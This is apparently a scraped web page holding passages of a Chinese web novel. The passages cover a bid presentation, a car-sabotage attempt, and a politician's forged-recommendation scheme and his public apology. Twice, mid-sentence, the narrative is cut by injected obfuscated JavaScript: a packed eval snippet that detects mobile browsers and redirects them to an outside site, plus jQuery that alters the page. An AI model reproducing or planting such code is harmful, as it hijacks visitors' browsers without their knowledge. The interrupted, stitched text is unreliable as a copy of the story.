蓝珀最后是被窗外的风声吵醒了,雨还没下来,但天会一直有雨。他转过身去洗手,一直在冲水,竟忘记自己还戴着手套了,那是为了藏一下发炎红肿的小拇指。 项廷看着他的后背,心里像吃了棒冰似的瓦凉瓦凉的。感觉离他近又近不得,远又远不得。项廷渐渐认识到他有某种怨气,不连根拔除,今天哄好了,明天后天总会换个皮死灰复燃。 这时电话响了。项廷见是姐姐,不太想接。这周姐弟俩一通电话总是不超过三十秒。项青云对麦当劳中国很不看好,反对的理由主要是不想让项廷在中国置业。项青云说,美国人坦荡而诚恳,没有那么复杂的人事关系网;美国政治地位高,军事实力强,因而非常安全;美国人由于长期的优越感,养成了他们不拘小节、大大咧咧、喜欢舒适、贪图享受的民族个性,要赚本土美国人的钱,简单多了。项廷说,姐你变了。项青云也坚决不借弟弟一毛钱启动资金。二人因此无话。 项廷犹豫了一下,正准备接,却被蓝珀夺过手机,扔到了一堆洗干净的床单里。项廷平心静气地走过去,铃声已不响了,捡起来时恰好珊珊来电,他顺便就站那儿接了。 珊珊那意思说,刘华龙抬走以后,剩余几家都上台讲完标了,战况很激烈,你快点回来! 项廷一边听一边往门走,忽听蓝珀在身后很轻很慢地说:“你要是听她的,今天开始看见我走远点。” 真的狠话好像从来都不需要像个疯子一样喊出来。 项廷一下站直了,中指贴紧裤缝,嘴里说的却是:“你爱赌就赌,跟我赌气,赌吧,就赌到底吧!” 咣当一声,门摔上了。 蓝珀发觉,对他矢志不渝的人恐怕只有沙曼莎。她打了好几个电话,问那一百万往哪儿打。蓝珀的嘴唇微微翘起,如上弦月,说一百万去打个独一无二的钻戒吧,送给我的小舅子,当作姐夫随他以后结婚的礼了。 73. 草书天下称独步 项廷摔门而去,没去,他在洗衣房门外罚着站。 南潘接到信息赶来时,笑话项廷的嘴唇一张一合就像信箱的那个缝,但终究是茶壶里往外倒饺子,有太多东西,他跟蓝珀真的说不来。 就比如今天来酒店的路上,马路上突然出现了一块乌黑闪亮的钢板,钢板上面竖满了一排又一排的钢钉。项廷竭尽力气抱住方向盘,然而他对汽车的控制只维持了一刹那。就在那些钢钉扎进右轮的同时,随着一阵刺耳的打滑声,整个车子开始了它的狂舞,紧接着猛地向□□斜,把项廷像个特技演员似的弹射了出去;车身翻了个个儿,前轮还在空中呼呼转着,前灯像两个瞪大的眼睛直射天空。靠着油箱支撑着的汽车就像一只巨型螳螂,就在你以为它要在那里静静地躺着时,车身慢慢翻回,在一阵震耳欲聋的玻璃粉碎声中站了起来。左前轮在轻轻地转了几下,随后一切都戛然而止了。 南潘到达翻车现场,挪开夹在汽车帆布顶和方向盘之间的项廷的两条腿,然后从帆布的洞里把项廷一点一点地拖了出来。项廷满脸血满头土,但是意志清醒得可怕。他没有自己爬出来,活生生在四处起火的车子里扛了五分钟,只为了等凶手现身。等不到凶手,南潘才出来的。项廷脱了西装下的防弹衣、减震缓冲的护具,换了一身全新的以后,奔赴会场。 南潘作为一个雇佣兵、军火商,屡次表示项廷所面临的危险有点超出自己的业务范围了。项廷觉得对方在要求加价,可是他把所有的钱都投到了麦当劳上,已是身外无一物,项廷索性说自己这边不要人手了,只要他们全力保护蓝珀就好了。南潘说早就派了一两个比较有本事的人暗中看着他了,项廷却很忐忑,要他们去搜一下蓝珀的办公室。没找到有人埋雷、投毒,只是发现蓝珀在每个角落塞满了安眠药。故而蓝珀以为他的世界哭声太多,项廷永远不会懂得的时候,项廷其实早就隐隐有感到了蓝珀是一个连眼泪都没处流的人,蓝珀是这人间最痛苦的人。 南潘偷出来一瓶药,给了项廷。项廷放在枕边,向来倒头就睡的他,几夜几夜地无眠。他把那些小药丸倒出来,塞进去蓝莓糖。塞满了他的心反而愈发空落,胸口突然有口热血涌到喉头,想给蓝珀打电话,想找他说好多好多无聊的话,诚恐诚惶。可是非常时期,又总不能让这点思念害了他。于是有一次凌晨他就跑到图书馆上网,看蓝珀做客美联储浅谈石油的视频,带着耳机他都不安心,得拿手挡住一半看。君子恋爱十年不晚,他回家闭上眼睛默祷在梦里相逢。他并不知道蓝珀同样的时间守在电话的那一头,等待着等待着就慢慢发生化学演变,变成炸药包。 “嘿,”南潘叫他,“你再不去可就来不及了,还是说你终于认命了,放弃你的炸鸡汉堡生意了?那个术语叫什么,‘弃标’?” 就那些盯着006的人,项廷能感觉出来,他们不光想把他抓回研究所,还想把他的路全堵上。比方说今早的车祸,不止是一个死亡威胁。众所周知投标人迟到一分钟就会废标,招标文件上的截止时间白纸黑字是精确到分钟的。 项廷坚决地说:“没门,我做梦都没想过弃标,我死了都不会弃。” 南潘说:“哈哈,要是他们一会在台下提着加/特/林对你来一顿扫射……” 项廷一瞬间想的只是子弹会溅射到蓝珀。他向南潘弯起一根指头,无声地做了一个军事手语,让他们务要守好蓝珀,然后就手插口袋低着头走了。 回到会场,会场有种蝗虫过境后的苍凉感。 珊珊忙跑过来:“你终于来了,都结束了!哎呀,你的脸!” 秦凤英回过味来,闹了一番把刘华龙轰下台了,她心里不要太爽。鼓励道:“我只是冲锋队罢了,这场仗要想打赢,光有冲锋队那肯定是不够的。你这个后续部队赶紧跟上来啊!” 作为秘书珊珊尽职尽责,奋笔疾书了一份讲稿,捧给项廷,其内容翔实,鸡苗质量、出栏只重、欧洲效益指数列得清清楚楚。 项廷道了谢,却没有接过来,只问道:“你们见到蓝珀回来了吗?” 珊珊说:“他总不会不回来吧?他还得当那个特别开标嘉宾呢,我听说。” 此时嘉宝从编织袋里拽出一件快织完了的大红色小背心,也是忙活上了。 厂商稀稀拉拉地各归各位,有个人拿毛巾擦了擦嘴,已经可以想象到刚才此人台上如何唾沫横飞,其他人要么低头,要么喝咖啡,都煎熬着等待领导的态度。 评标委员会在棕色玻璃的小包间交头接耳,看来这会儿功夫他们又内定好了,至少快有眉目了。除了瓦克恩坐在老板椅上,紧闭双眼,用拇指轻轻地揉捏着太阳穴,显得比较惆怅之外,其他专家一副腐朽之辈的样子,基本都眯了眯浓浓的睡眼,打了一个接一个的哈欠。 他们听了这帮中国厂商作的报告,就一个词,折磨。口语的好坏先抛开不说,几乎所有人一开始就用各种敲锣打鼓给自己贴金,把听众的预期调到最高,评委的目光一严肃,他们就底气不足,讲话越来越没头没尾;很多人完全忘了这是个需要互动的场合,只顾着喃喃自语,机器人一样,感觉通不过图灵测试;还有响亮的一声老师们、同学们,大家好之后,大脑就被外星人劫走了,最后是被主持人抱下台的;仙之人兮列如麻。更有甚者,功课做得确实到位,上台前先给评委席每人发一支烟,上台后领导讲话喜欢拽大词,谋求运用马列解构麦当劳的经营哲学,见评委无感,弃马列,上老庄,说蓝总知其雄,守其雌。 项廷见包间里面有几个新面孔,感觉是瓦克恩镇压不住蓝珀,而从总部搬过来的救兵。 可该镇不住还是镇不住,天王老子来了都不行。项廷敲门,说他还没有上场,请瓦克恩下令启动一下台上的多媒体设备时,蓝珀闪现:“你的资格被取消了。” 蓝珀一直以来讲话的那个语调,柔柔的,真让人痒痒到整个后脖颈和后脑壳都发热,有几位专家莫名地起立。 项廷:“Why?” 蓝珀:“没有why,我不需要给你why。说不要就不要。” 项廷让珊珊拿文件来:“这是我的投标邀请函,你先烧了它再说不要。” 瓦克恩仰头喝了一口苦酒,问道:“费曼的意见如何,我好像突然联系不上他?” 非要在高盛那帮倒人胃口的银行家里选择一位共事的话,瓦克恩搜索枯肠只能报出费曼的名字来。此人智力超群又痴迷于阅读和国际象棋,说话时长时间的停顿和严谨的表达方式更能表明他是一个天才。他的头脑就像瑞士钟表一样精准,一般无情,除了他的电脑偶尔产生一种名为蓝珀的病毒之外。 果然,蓝珀说:“不用管他了,他会听我的。” 瓦克恩痛饮,然后戴上他的双光眼镜,站起来,向项廷伸出手:“Game Over。” 项廷没跟他握手,径直转了身。 可他不是萧瑟地离去,他竟然去捡了老赵落在地上的菜刀! 正午的阳光透过窗照在地板上,照着两滩打翻的鲜红的葡萄酒,然后又反射到瓦克恩背后的那堵墙上,投下了两块小小的粉红色的影子。 众人惊恐,快都像发生了大地震似的往出口逃。伯尼本就带着记者蹲在门口附近,见此也很失望,心想怎么一言不合你就杀心太重,你现在一眼就让人家看破了,平时的智商不知道去哪了! 项廷提刀走路,威加宇内,刀背上的七个环叮铃直响,振全场之聋聩。 他上了台,站定到中央的位置,遥遥地问:“瓦总,投影机能开一下吗?” 现场很胡闹就算了,要再发生了流血事件,他们将怎样收拾这个残局,只有天晓得!是所谓富人怕穷人,穷人还怕不要命的! “开,开!”瓦克恩拦在蓝珀前面,护驾!护驾!好像忘记了就是身后这个该死的银行家把自己折磨得痛不欲生似的。 蓝珀不满道:“你刚才怎么答应我的,你还有没有信用?” 瓦克恩忙说:“我只给你十分钟,过期不候。” 项廷说:“现在开投影机,我就只用五分钟。” 瓦克恩:“开,快给他开!” 项廷挨了那么多巴掌,他血液循环好,印子不大显,但不代表一点不会肿。顶着三分猪头三的脸,对话筒嘘嘘地吹了两口气,他业已开始了演讲。 “在座的评委,诸位友商,以及我的团队成员们,请你们大家稍安勿躁。我拿这把刀不是为了把你们中的谁剁了,只是因为它,让我突然间想起了特别多的事情。” 友商人均喝倒彩,两支话筒在人群中被抢来抢去。一个富商样的中年男人连手都不举,直接开了麦:你小子拿把刀能追忆什么似水年华,难道是想起了杀人越货、谋财害命这档子事吗? 蓝珀侧过脸,笑问瓦克恩:“请教一下,有人插话算不算过分?” 瓦克恩示意主持人,正要维持秩序,项廷却面带微笑地说话了:“王总,你问的其实是四个问题,我从后往前回答你。” 王总呆一下,没想到项廷认识他。 “首先,害命是真事。在过去的二十四小时里,我差点没命了不止数十次;可说句掏心窝子的话,谋财这方面我一分钱没挣到,反倒欠了一大堆债。记得我的姐姐说过,来美国捡垃圾都能发财,美国发达到垃圾厂里都有能用的电视机微波炉录音机。修电器太贵,运送费也不便宜,垃圾处理费更是一笔巨款,每天都有无数人绞尽脑汁将崭新的家电免费送掉。当时的我只觉得她在瞎吹,那时的我只是一个刚从中国十年的浩劫中走出来,对人生十分不满,四处寻找假想敌,一个从未在西方真正亲身生活过的人,很难想象李鸿章当年访美抽着大烟、留着辫子、坐在轿子上的心情啊!但是今天再看,各位,现在的我是不是连垃圾也不如了?” 他上来就先拿自己开了涮,说到这里,还把口袋往外翻了一翻,掉下来几张包装蓝莓糖的彩纸。 瓦克恩听到蓝珀咕唧了一声,“两坨小垃圾”,望了一眼台下的方向。 “杀人越货?半对半错吧,我的确总在码头送货,货轮就是我的第二个家;杀人,我倒还没有体验过,但来了美国以后,我杀了不下一千只鸡。看到这把菜刀,就让我想起了用它杀过的那一千只鸡。我性格内向,不太会讲段子、说笑话,只能把我的一点小感悟汇报给大家,汇报的题目就叫——《鸡之道》。” 明明是刁难他,一席话后反成了他炒热现场气氛的助力似的。但王总听到“鸡之道”后,还是带领大家哄堂大笑。 “What道?”瓦克恩看向蓝珀,因为项廷最后三个字用的是中文。 蓝珀也是对他很敷衍:“一种教。” “我们饭馆的鸡是养在后院里的。小时候在纸箱子里养,长大点儿就搬到箱子、笼子,再大一点儿就能在院子里自由奔跑了。院子里几棵树就是它们的地盘。厉害狡猾的鸡就霸占着最高的苹果树,单腿独立;笨点的就站在柠檬树上,摇摇晃晃;再笨点的就只能呆在柠檬树底下的矮墙上了。最笨的那些,连飞都不会,直接蹲在墙角、躺椅凉台上,把脸一头扎进翅膀里,这种我们就叫它们笨鸡。为了防止这些笨鸡跑丢,只能关回去鸡圈里。你看看,这鸡跟人一样,阶层分明——有能耐在树上,没能耐的在圈里。” 项廷一边说,一边用眼神走着他的台步。他有周期有节奏地将视线从前到后、从后到前、从右到左、从左到右的扫视现场所有听众。视线走过的每一步都是弧形,弧形又组成了整体完美的环形。 “但即便是圈里的鸡,知道自己要完蛋了,豁出命了也要飞一下,就算是从鸡圈的缝里飞出去,起码到天上扑棱两下。也有的人,不管别人怎么看待命运,他一生从不信命,也从不算命,不信神,不信鬼,只信自己的胳膊腿。你说他们会不会撞破头还是徒劳无功,那不要紧,就一直撞啊撞啊撞啊撞下去,直至有一天成功。” 结果满场恶笑不断。 厂商甲:“我们聚在这里是想听点实在的,不是来被你灌输心灵鸡汤的,行吗?” “李总,您真是说到我心坎上了。”项廷笑着说,“我正是想说,如果这个世界真的天道酬勤,一切有志者事竟成,为什么无论苹果树上、柠檬树上、墙角墙上的鸡飞得再高都死了,为什么我还是这么穷呢?我的夜晚,被囚禁在地下室的一间形似棺材的泥砌房里,一张中间凹陷得不成样子快塌掉的单人弹簧床就几乎把它挤满了。那张床治好了我的狂躁症,因为没有人可以在上面反反复复地起身又坐下。白天我是住在贫民区的有色人种,是玉器市场古董表店专拉中国游客做局的导游,是风吹日晒雨淋、暴风雪天□□的中华神推,是两大华埠商会安良堂与协胜堂之间的双面间谍……向北延伸到东休斯顿,向西扩展到百老汇,南至富尔顿街和南街,东至哥伦比亚和东河公园,我在百变的工种之间换脸求生,有一次我到底特律某家大型奶牛工厂送货,站在罗马广场式的环形工厂最底下,仰望着被阶梯形钢铁牛栏圈养在半空中、一个个插着24小时不停运转挤奶器的奶牛,那一刻,我竟哑口无言。” “可是且看今朝的美国,简直是从未有过的全盛时期、人类历史上的黄金时代。苏联半死不活,中国大言不惭,差一点就步苏联后尘,生我长我的北京到处都是车匪路霸□□,日本资产泡沫破裂,低温经济持续通缩,德国有统一的苗头但还需整合,法国有异心可惜实力不济,别的国家看到利比亚的下场之后有谁不唯美国马首是瞻?世界人民谁不看美国人的脸色行事?美国天下无敌地寂寞,可就在这么个近乎天堂的地方,听,我还是穷得叮当响。” 这都哪跟哪了,瓦克恩想立刻叫停。 可是场下群众其实蛮爱听的。项廷不是讲标,不是路演,他不推销产品,也不打广告,貌似就是和大家一起玩,这是他展示自己和认识新朋友的舞台。总之离题万里,毫无竞争力的样子,无害。 同时他又很惨,人都喜欢别人比自己惨,故此听他的惨都纷纷入了神,十分着了迷。 一位主评委也很欣赏他如此滚瓜流水的演讲:“但是在某种程度上,他是30秒广告的奇才,擅长浓缩的艺术,竟然可以把一个人的一生用10分钟讲完。” 另一位刚才大睡特睡的评委也一边手捋着飘然的缕缕银须,感慨万千地频频点头,神情乐陶陶的。不知道他在赞同项廷哪部分,可能是媚美、消费□□的那部分:“别说,还真别说,这有点反其道而行之的意思啊,不走寻常路。” 瓦克恩:“蓝?” 蓝:“哦!道。养个鸡都让他悟道了,人生处处可修行呢。” 项廷抬手看着腕表,接着站在那儿一声不响地注视现场观众,时间长达1分48秒。圆桌的评委面面相觑,不知发生了什么,但神奇的是没有一个人发表异见,打断这场独幕的默剧。大家一致以为:此人忘记了演讲词。 就在此时,项廷突然讲道:“诸位刚才感觉到局促不安的108秒正是牛奶工拿走一桶牛奶所需的时间。” 众厂商都不说话了,也许一方面是莫名有所感触,一方面是前车之鉴,感觉说什么都会被项廷化为己用。你骂他,嘲笑他,最后都会变成他的帮手,他的盟友,产生一唱一和的效果,好像是他请的托。项廷就算眼中无观众,心中却有观众,他叫得出现场每一位竞争对手及其助理的全名。 可总有人不信这个邪:“这跟招标究竟有什么干系?停止你装神弄鬼的行为!” “如果我能装神就好了。”项廷笑道,“想想看,早期西方文明的人们对神权的崇拜高过一切。但到了文艺复兴,神权开始不灵了,坍塌于一场大瘟疫。贵族们一边喊着人性解放,一边又在暗中筹划新的统治利器,这就是经济。就这样,刚从神权下爬起来的西方人民,又通通跪倒在了金钱面前,成了它的奴隶。统治者说是资本家有点泛泛,实际掌控权在银行家手里。他们就像寄生虫一样吸人民的血,把经济运作当作武器,用钱来行使他们的全球特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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项廷答茬儿道:“当总统这一点美国政治与中国区别不大。你没有大人物给你说话,就没有组织部门来考察推荐。中国人最重要的东西是档案袋,三龄两历一身份,人的一辈子就在这儿了;而美国人最看重的,是推荐信——” 说罢,他从口袋里掏出了一张信纸。那纸还能称之为纸真是奇迹,毕竟是从碎纸机篓子里掏出来,凭通宵达旦的人力一条条拼合起来的。 项廷视线平直向前、弧形流转了一整圈,说:“得感谢那位写给我推荐信的大人物,是他让我看明白了英美系高校真是举孝廉啊!不过他的名字我给剪掉了,因为信上的签名太珍贵了,我剪下来裱起来了。” 所有人的目光聚焦在那封信上,偌大的会场寂若无人,仿佛那张纸是什么天赐之物,携带上苍的意志。 接着,项廷适时地说:“彩色投影机的使用寿命很短,开一会就必须上来换灯泡。瓦总在吗?我申请中场休息。” 下台之前,项廷还轻轻点了个题:“有一种鸡谎报军功、浑水摸鱼,或将其它鸡的功劳据为已有,刚开始不明情况也会跟他要好,奖励它,但后来经常找不到它下的蛋,才发现了这种鸡的诡计,像这种鸡,就是鸡贼。” 瓦克恩透过玻璃,看到项廷对着观众做了个很西海岸的手势,瓦克恩简直血压高得可怕。去看蓝珀,蓝珀闭着眼睛靠在旁边,婴儿般的睡眠,瓦克恩更气不打一处来。 瓦克恩大声问责,叫不醒装睡的蓝珀。直到伯尼从外面拍打玻璃,狂震蓝珀。 “蓝,可以聊聊?” 两人步至中庭,伯尼似乎一点圈子也不绕地说:“一场出色的演讲,我完全被说服了。” 蓝珀惊道:“出色在哪里?在他像个街头混混一样纠集一帮乌合之众,在他妄想带领他们把红旗插到白宫去了吗?即兴演讲不是张口就说,瓦克恩如果真有心告他,他不仅项目就不要有了,直接今晚被驱逐出境了。还想一根鸡毛飞上天呢,我看是生得渺小,死得蹊跷喔。” 伯尼说:“你说他是混混,可是好玩好斗混社会的人是最能做市场的。” 蓝珀嗯了声:“是的,混到全身上下都刺了青,只有嘘嘘的地方没刺青。” “听了他的经历,不觉得他很可怜吗?”伯尼以一副推心置腹的表情,打感情牌。 蓝珀郎心似铁:“可怜呀,惨的呀。好像谁最惨谁就支配了话语权,谁就能让所有人闭嘴,都去哄他。惨的人的话要反着听。他说: 我很痛苦,我很自卑,我穷得吃糠咽菜。他想: 我享受现在的状态,我超级自恋,我要掏空你们口袋里的钱啦!” “……总之蓝,我衷心希望你能投项廷一票,其他人由我来说服。” 蓝珀当耳旁风,逗着花房里的一只猫:“咪咪,你的小手这么好吃吗,有糖吗?” 猫要跟着蓝珀走了,伯尼才高声道:“蓝!别告诉我你真的听不懂!” 猫的反应一般是人的七倍,但蓝珀与猫同时回了头。 伯尼缓口气,声音低了八度,说:“我不清楚他哪里来的兴趣和渠道,但他的后半段演讲显然是在暗指□□。最后提到的‘光明’,甚至点明了光明会。我有点担心他是不是在威胁我们,如果今天没有中标,他就会把内幕告诉大众。” 蓝珀说:“我们?这话听起来怎么这么稀奇啊,这跟我有哪点一丝半缕的关系呢。拉了费曼入会之后,他们答应放我一马,我终于脱钩了,我终于自由了。我的这种解脱,你感受到了吗?永别了,牢笼!” 一阵沉默来袭,缓缓流淌着尴尬。不少媒体蹲守在外场,看到伯尼私底下来找蓝珀,好震撼。伯尼是民主党人,美国民主党有点为劳苦大众服务的思想,说共和党在关心穷人这方面不行,太有贵族意识。所以伯尼立场一直跑工人那里去了,他说不是华尔街的资本家在建设美国,而是你们工人阶级、劳动人民在建设国家。项廷头一回听说他的政治主张时,心说伯尼的偶像不该是李小龙,伯尼怕是蹲家里研究了好几十年的毛选。就这么一个伯尼,同情劳苦大众,同情弱势群体,同情小人物,见不得剥削和压迫,听不得芸芸众生的哭声,怎么能站在这与华尔街头号大资本家谈笑风生?他昨天还在报纸上把蓝珀的美丽画皮扒得一干二净,还给电视台送了一车素材把蓝珀写进肥皂剧呢! 伯尼赶紧撂开手,不然明天媒体一定会报道他就像个从疯人院里逃出来的病人。这就是心惊肉跳的美国政坛。 可是回到会场,只见项廷已和群众火热打成一片。他一听对方是广东人,就一口完整的九声六调的粤语;一见上海人,阿拉也是。碰到拉丁商时,他就滔滔不绝地聊起在西班牙的经历和见闻,仿佛自己曾在那里长大一样。 然后他施粥一样,给大家发着什么小纪念品似的。定睛一看,那是本世纪中的时候,每位在美的华人居民都要重新开身份证明并永不离身。此证被华人称为“狗牌”。不知道项廷哪里淘来的古董! 真怕走近一点,听到他又在那鼓风,伯尼已经有幻听了:如果五月花号船上满载的为了逃避宗教迫害的英国清教徒,没有□□地站出来,他们盎格鲁撒克逊的后裔们就不可能于征服印第安人主宰美利坚台众国。同样如果不是广大的黑人联合起来与奴隶主作英勇无畏的斗争,那么今天的黑人依旧只能在美国甚至在全世界被当作黑鬼卖来卖去。最有教育意义的是犹太族人,如果不是他们用心筑成钢铁长城,那么以色列国在这个世界上将永无立足之地…… 项廷左手拿着那封残破不全的推荐信,右手上挂着一串当啷作响的狗牌。推荐信、狗牌,青龙白虎一样,镇得伯尼不敢靠近,眼珠子转飞了,头皮屑都下来了。 于是他又折回中庭去。戴莉见丈夫进进出出,猜想道:“去拉票吗?发自真心说出你的理由,这样别人才会信服。” 所以伯尼这一次极其好声好气:“他的推荐信是你这儿拿的吧?” “嗯呢,”蓝珀想了想,“我找的人。” 伯尼脸色渐渐变得紫红起来:“我毁了它。” 74. 金鳞岂是池中物 蓝珀听了,绰有余暇:“你不用紧张,眼睛不要一直眨。” 半晌,伯尼才说:“学校要三个推荐人,你找了两个,我是第三个。” 找伯尼当推荐人这件事,当时的项廷怕蓝珀从中作梗,所以他谁也没告诉过。 “所以?” “项廷给我看了白谟玺的信,我再执笔的时候,这种事难免瓜田李下……” “嗯哼?” “我不慎用了几乎一样的推荐语,招生委员会因此认为是项廷伪造了它们。这是重罪。” “哇哦。” 好在蓝珀毫不关心事情的来龙去脉,否则伯尼真不知道该怎么解释。 但是说白了就这么点事,真的就这点事。 就是伯尼一直以来缺少一只臂膀,能在亚裔群体中发光发热。他自信看人从不出错,认为项廷大有可为,日后至少是个意见领袖。 可一看到白谟玺的信,他心里凉了半截,原来他看上的宝贝被共和党人抢了先!于是他让身为教授的妻子伸出橄榄枝,只要项廷通过他的关系进了康奈尔大学,恩恩相报,一饭千金,必慢慢能把人拉拢到自己的山头来。到那时还有怀特家族什么事?伯尼?义父! 项廷?糖衣吃掉,炮弹打回。 那不好意思,伯尼只能让他无路可退了。 语言学校有两种渠道接收推荐信,白谟玺、费曼手写,而伯尼通过电子邮件发送的那一封,项廷本人没权限看,整个过程完全是黑箱子。伯尼抄了信后还觉得不够保险,又通过□□的下线找到那个大胡子招生官,让他当面撕毁了白谟玺的原件,原以为这下死无对证,被冠以学术欺诈罪名的项廷,全美境内只有一个康奈尔愿意接收了。本来费曼的那封或许还能救上一救,可被白希利偷走了。 但要是项廷不仅在监狱的被窝里拼好了信,涂涂改改废物利用用它入职了哥伦比亚,又那天到了联合国广场666号舞会现场活捉了大胡子,命他打开邮箱后台的瞬间一切真相大白于天下了呢? 伯尼从不认为他在迫害项廷,他觉得是引导他走正路。所以今早大胡子给他来电,支吾说出自己已然招供时,伯尼只道没事,甚至都没问你为项廷守口如瓶了几个月,为什么偏偏是今天想起来跟我坦白了? 项廷在台上掏出推荐信的那一刻,伯尼全明白了。 这小子隐而不发,忍常人之不能忍,为的就是把这张王牌留到今天!伯尼等于看到项廷在给他掘墓一样可怕。 戴莉还劝丈夫宽心,说项廷并没有这样深于城府。 伯尼说,那你以为他台上那些话是说给谁听的?你以为他那个“鸡贼”是在骂谁? 他明明知道我表面上尽心呵护少数族裔,背地里誓死维护种族三角,公然拥抱极右翼思潮,满心偏袒超级富豪和企业游说集团。他还在台上大秀政治肌肉,只差往台下那一堆干草里丢个打火机:我混得这么差,只是因为我的肤色无法与美国人融合,所以我们必须团结起来一次性把所有的人权债讨回来!带领华人们的强大势力雄狮般地觉醒,最终夺得了他们梦想夺回的失地。 你笑他不知所云,其实人家很扣题,环环相扣啊! 戴莉说,上周他还来家里作客,带来一头鲜美的加州红鲍,我们一起共进了温馨的晚餐,他请你来当招标会的第三方公证人。伯尼说,是的,我就是那条大鱼,他终于开始收杆。这都是我教过他的,逢人话只说三分,和敌人聊天时尤其要表现得越蠢越好,现在教会徒弟饿死师傅,回旋镖镖镖致命!好歹你是心理学教授,这都看不出来!戴莉当然感觉到了,其中野心令人不安。 但她避开了这一点。她说从传播心理学的角度来说,项廷年轻,充满活力,是个天才的演说家。每当他站在讲台上时,他的微笑能注人你的心灵,他的声音能点燃你的血液,他的眼睛则让你全身为之一振,就好像她体内的细胞不停地燃烧。哪怕是电视录像,他的目光和热情也会让你感到他的存在就在你身边,像马丁·路德·金一样激动人心,充满了不可解的魔术成分。他就是那种百十年难以一见、轻松亲近且广受男女老少爱戴崇拜的人,他具有非常外露的人格魅力,他的魅力就是那么溢于言表。 伯尼无法反驳:所以他要挟我,如果不帮他,他马上把推荐信的事捅出去。冷静的莽夫是最可怕的人,这样的人站在我的对立面,我的下场只有一个形神俱灭了啊!戴莉说你本就理亏,不要诿过,你的罪证上帝也抹杀不掉。 伯尼悻悻:在美国当个官真难啊,美国政治最关键的是去讨好选民,不把选民们讨好了,没有人给你送票。而且美国的法规法律可以由议会和政府来制定,也可以是由选民直接制定,这叫创治法。你今天不管项廷,他明天就带一帮弟兄立上法了!伯尼想,当前最大的任务是安抚好项廷,这是第一位的。至于其他问题,日后还有足够的时间和机会去研究对策么!要不是最近正进行一项很重要的民意调查,天啊,若非时当乱世,他能让这个小子一碗馊饭加点盐就翻十倍卖? 这样说罢,伯尼就来找蓝珀了。 蓝珀听说伯尼忌惮项廷的那点草根基础,一年四季悒悒打不起精神的人,乐得扶着肚子哈哈大笑。 伯尼没见过他这样子,蓝珀平常说话声音一直不高,甚至很小很微弱,想问他平常是不是只和小蚂蚁说话?然而魅惑又飘忽,总是吸引人们不由自主地靠近他。靠近他,就被一团杨花柳絮裹住,就这么飘来飘去,深深沉落到梦里。 于是伯尼像看到死人一样害怕,感觉脖子后面的毛发都竖起来了。 蓝珀说:“谢谢你,这利益游戏能加点笑料,让我在惨淡的人生中找点乐子。” “不要笑了,难道你一点责任也没有吗?”伯尼说,“如果不是你耍手段,设圈套,毁了招标会,我相信项廷不会这么快刺刀见红,全不顾颜面……” “嗯呢,中文里管这个叫狗急跳墙。” “我甚至怀疑他的讲稿是你代写,你改过,你至少唆使过他。因为你的演讲能力卓著,路演常常座无虚席;著书立说,投资语录被奉为圭臬……” “听你这么说,我都觉得我适合参政了。”蓝珀露出一个尽态极妍的笑脸来,然后受宠若惊地叫道,“有你在背后支持,前途无量哦!” 作为一个老牌政客,伯尼怎可能听不出反话,哪句又是拐弯抹角的暗示。但他到了这一步还是吝啬低下头颅,只是随了一句:“早该如此!你的政治形象太好了,非常迷人,毫无争议地迷人。” 蓝珀却把话说破:“那你还骂我吗,我不懂你,你用得着这么凶吗?” “这这……这根本不是那么个问题啊。” 伯尼觉得他多幼稚可笑,政治上的骂能叫骂吗?两党与华尔街的关系向来还真是妙。竞选路上把人家骂成谋杀犯,组阁之际却把一票银行家拉上船排排坐分果果的屡见不鲜。套路可以深,戏不能当真啊。 伯尼特别想问你几岁了,你的心是玻璃做的吗?你不要这么感性好不好,华尔街不相信眼泪! 可是那窗外那一颗春阴的太阳,它的美和悲伤总是形影不离,蓝珀的身后只剩一轮淡桃胭红虚悬的圆,空对了空。蓝珀没有说话,但他吸气的声音很奇怪,伯尼感觉在表面,又感觉在自己脑子里。 伯尼咽喉滑动了一下,转身向众人招呼:“抱歉,向各位借一分钟。” 蓝珀本就像颗大珍珠,见了他没谁不被他照进来,双眼不能自已被他拉入了一个深海的幻境里。中庭的花园、回廊、马头墙、格栅,四下那么多号人一直都在悄悄关注着这儿。听了这话,很快包围上来。 伯尼目视着几十家主流媒体,笑容诚笃,说道:“诸位,原谅我开了一个不负责任的马后炮。今天我要严正地向蓝珀先生致以诚挚的歉意,我在FOX电视台,《纽约时报》、《华盛顿环球报》、《芝加哥太阳报》等一系列民主党喉舌报、乃至1983年5月一期《国/务/院公报》犯下的彻底的疏忽,是我目光狭窄,要多短视有多短视。蓝是一位雍荣尔雅、血统高贵、底色纯洁的杰出投资银行家,我要大惊大喜地赞扬他了不起。我由衷期待蓝的底色与国会山的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398261|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底色,今后会碰撞出何种华盛顿色调。” 然后他紧搓着蓝珀的手,两眼一会直盯盯地看着他,好像两人情同兄弟在这种场合下非常开心才会做出如此举动。伯尼一会又看那些下巴快掉在地上的媒体朋友们,他总能表现出时时处处鞠躬尽瘁的样子,和选民不厌其烦地握手、亲吻。但是探戈要两个人才能跳成,蓝珀有点晦气的表情出卖了一切。一锅爆豆般的快门声中,一个心虚中夹杂着同情,一个似有若无地怨怼。 作完秀,伯尼赶紧跟上蓝珀的脚步:“这一票,拜托了。” “你骂了我整整五年,说对不起的时间还没有五分钟。”蓝珀不甚领情地说,“你好勉强。” “蓝,我的政治生涯刚刚已经为你倒退十年了。” “报应呀,我让费曼转达过你好多次不要骂我,你呢,永无餍足。” “费曼?费曼·查尔斯·赫尔南德斯·温莎?他可从没说过。” 